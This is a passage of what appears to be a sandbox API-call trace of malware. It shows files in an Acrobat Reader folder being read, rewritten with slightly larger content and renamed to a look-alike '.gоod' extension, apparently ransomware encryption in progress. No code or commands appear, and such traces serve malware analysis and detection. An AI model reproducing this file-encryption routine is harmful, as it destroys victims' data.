dwReserved0=0x0, dwReserved1=0x0, cFileName="versions", cAlternateFileName="")) returned 1 [0123.606] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffee270 | out: lpFindFileData=0x1ffee270*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0123.606] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0123.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee4d0) returned 1 [0123.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee490) returned 1 [0123.606] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\config.js", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\config.js", lpFilePart=0x0) returned 0x60 [0123.607] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee340) returned 1 [0123.607] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\config.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\config.js"), fInfoLevelId=0x0, lpFileInformation=0x35460a8 | out: lpFileInformation=0x35460a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x593)) returned 1 [0124.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee300) returned 1 [0124.132] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\config.js", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\config.js", lpFilePart=0x0) returned 0x60 [0124.132] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0124.132] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\config.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\config.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x620 [0124.132] GetFileType (hFile=0x620) returned 0x1 [0124.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0124.133] GetFileType (hFile=0x620) returned 0x1 [0124.133] GetFileSize (in: hFile=0x620, lpFileSizeHigh=0x1ffee398 | out: lpFileSizeHigh=0x1ffee398*=0x0) returned 0x593 [0124.133] ReadFile (in: hFile=0x620, lpBuffer=0x34e6698, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee2c8, lpOverlapped=0x0 | out: lpBuffer=0x34e6698*, lpNumberOfBytesRead=0x1ffee2c8*=0x593, lpOverlapped=0x0) returned 1 [0124.140] CloseHandle (hObject=0x620) returned 1 [0124.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0124.214] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\config.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\config.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x620 [0124.215] GetFileType (hFile=0x620) returned 0x1 [0124.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0124.215] GetFileType (hFile=0x620) returned 0x1 [0124.215] WriteFile (in: hFile=0x620, lpBuffer=0x3561818*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x1ffee1d8, lpOverlapped=0x0 | out: lpBuffer=0x3561818*, lpNumberOfBytesWritten=0x1ffee1d8*=0x5a0, lpOverlapped=0x0) returned 1 [0124.216] CloseHandle (hObject=0x620) returned 1 [0124.220] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\config.js", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\config.js", lpFilePart=0x0) returned 0x60 [0124.220] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\config.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\config.js.gоod", lpFilePart=0x0) returned 0x65 [0124.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee300) returned 1 [0124.220] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\config.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\config.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffee3e0 | out: lpFileInformation=0x1ffee3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4640b85e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5a0)) returned 1 [0124.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee2c0) returned 1 [0124.220] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\config.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\config.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\config.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\config.js.gоod")) returned 1 [0124.221] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js", lpFilePart=0x0) returned 0x61 [0124.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee340) returned 1 [0124.221] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\desktop.js"), fInfoLevelId=0x0, lpFileInformation=0x3562b40 | out: lpFileInformation=0x3562b40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408)) returned 1 [0124.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee300) returned 1 [0125.328] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js", lpFilePart=0x0) returned 0x61 [0125.330] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0125.491] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0125.804] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\desktop.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0125.805] GetFileType (hFile=0x618) returned 0x1 [0125.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0125.805] GetFileType (hFile=0x618) returned 0x1 [0125.805] GetFileSize (in: hFile=0x618, lpFileSizeHigh=0x1ffee398 | out: lpFileSizeHigh=0x1ffee398*=0x0) returned 0x408 [0125.805] ReadFile (in: hFile=0x618, lpBuffer=0x35dd8c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee2c8, lpOverlapped=0x0 | out: lpBuffer=0x35dd8c0*, lpNumberOfBytesRead=0x1ffee2c8*=0x408, lpOverlapped=0x0) returned 1 [0125.882] CloseHandle (hObject=0x618) returned 1 [0125.909] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js", nBufferLength=0x105, lpBuffer=0x1ffedcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js", lpFilePart=0x0) returned 0x61 [0125.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee1f0) returned 1 [0125.909] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\desktop.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x618 [0125.910] GetFileType (hFile=0x618) returned 0x1 [0125.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee160) returned 1 [0125.910] GetFileType (hFile=0x618) returned 0x1 [0125.910] WriteFile (in: hFile=0x618, lpBuffer=0x3658360*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x1ffee1d8, lpOverlapped=0x0 | out: lpBuffer=0x3658360*, lpNumberOfBytesWritten=0x1ffee1d8*=0x410, lpOverlapped=0x0) returned 1 [0125.911] CloseHandle (hObject=0x618) returned 1 [0125.911] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js", lpFilePart=0x0) returned 0x61 [0125.911] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js.gоod", lpFilePart=0x0) returned 0x66 [0125.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee300) returned 1 [0125.911] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\desktop.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffee3e0 | out: lpFileInformation=0x1ffee3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4742398b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x410)) returned 1 [0125.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee2c0) returned 1 [0125.912] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\desktop.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\desktop.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\desktop.js.gоod")) returned 1 [0125.912] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js", lpFilePart=0x0) returned 0x62 [0125.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee340) returned 1 [0125.912] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\rna-main.js"), fInfoLevelId=0x0, lpFileInformation=0x3659688 | out: lpFileInformation=0x3659688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x15fa5c)) returned 1 [0125.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee300) returned 1 [0125.979] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js", nBufferLength=0x105, lpBuffer=0x1ffedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js", lpFilePart=0x0) returned 0x62 [0125.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee240) returned 1 [0125.980] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\rna-main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0125.980] GetFileType (hFile=0x644) returned 0x1 [0125.980] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee1b0) returned 1 [0125.980] GetFileType (hFile=0x644) returned 0x1 [0125.980] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffee398*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffee398*=0) returned 0x1000 [0125.980] ReadFile (in: hFile=0x644, lpBuffer=0x370bea0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee368, lpOverlapped=0x0 | out: lpBuffer=0x370bea0*, lpNumberOfBytesRead=0x1ffee368*=0x1000, lpOverlapped=0x0) returned 1 [0126.456] CloseHandle (hObject=0x644) returned 1 [0126.463] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js", nBufferLength=0x105, lpBuffer=0x1ffedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js", lpFilePart=0x0) returned 0x62 [0126.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee240) returned 1 [0126.465] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\rna-main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0126.492] GetFileType (hFile=0x644) returned 0x1 [0126.492] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee1b0) returned 1 [0126.492] GetFileType (hFile=0x644) returned 0x1 [0126.492] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffee398*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffee398*=0) returned 0x15fa5c [0126.493] WriteFile (in: hFile=0x644, lpBuffer=0x3b3cf08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffee288, lpOverlapped=0x0 | out: lpBuffer=0x3b3cf08*, lpNumberOfBytesWritten=0x1ffee288*=0x10, lpOverlapped=0x0) returned 1 [0126.494] CloseHandle (hObject=0x644) returned 1 [0126.494] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js", nBufferLength=0x105, lpBuffer=0x1ffedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js", lpFilePart=0x0) returned 0x62 [0126.495] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee240) returned 1 [0126.495] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\rna-main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0126.495] GetFileType (hFile=0x644) returned 0x1 [0126.495] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee1b0) returned 1 [0126.495] GetFileType (hFile=0x644) returned 0x1 [0126.495] ReadFile (in: hFile=0x644, lpBuffer=0x3b3f1f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffee318, lpOverlapped=0x0 | out: lpBuffer=0x3b3f1f8*, lpNumberOfBytesRead=0x1ffee318*=0x1000, lpOverlapped=0x0) returned 1 [0126.907] CloseHandle (hObject=0x644) returned 1 [0126.907] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js", nBufferLength=0x105, lpBuffer=0x1ffedd20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js", lpFilePart=0x0) returned 0x62 [0126.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee240) returned 1 [0126.907] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\rna-main.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0126.907] GetFileType (hFile=0x644) returned 0x1 [0126.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee1b0) returned 1 [0126.908] GetFileType (hFile=0x644) returned 0x1 [0126.908] WriteFile (in: hFile=0x644, lpBuffer=0x34049d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffee3c8, lpOverlapped=0x0 | out: lpBuffer=0x34049d0*, lpNumberOfBytesWritten=0x1ffee3c8*=0x1010, lpOverlapped=0x0) returned 1 [0126.908] CloseHandle (hObject=0x644) returned 1 [0126.908] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js", lpFilePart=0x0) returned 0x62 [0126.908] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffede70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js.gоod", lpFilePart=0x0) returned 0x67 [0126.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffee300) returned 1 [0126.908] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\rna-main.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffee3e0 | out: lpFileInformation=0x1ffee3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x47dace7a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x15fa6c)) returned 1 [0126.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffee2c0) returned 1 [0126.908] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\rna-main.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\rna-main.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\rna-main.js.gоod")) returned 1 [0126.909] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedb60) returned 1 [0126.909] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app", nBufferLength=0x105, lpBuffer=0x1ffed600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app", lpFilePart=0x0) returned 0x5a [0126.909] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\*", lpFindFileData=0x1ffed880 | out: lpFindFileData=0x1ffed880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0126.910] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.910] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 1 [0126.910] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffed840 | out: lpFindFileData=0x1ffed840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dev", cAlternateFileName="")) returned 0 [0126.910] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0126.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffedaa0) returned 1 [0126.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeda60) returned 1 [0126.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffedb60) returned 1 [0126.910] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app", nBufferLength=0x105, lpBuffer=0x1ffed600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app", lpFilePart=0x0) returned 0x5a [0126.911] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\*", lpFindFileData=0x1ffed880 | out: lpFindFileData=0x1ffed880*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3379b53, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x3379b53, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x3379b53, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 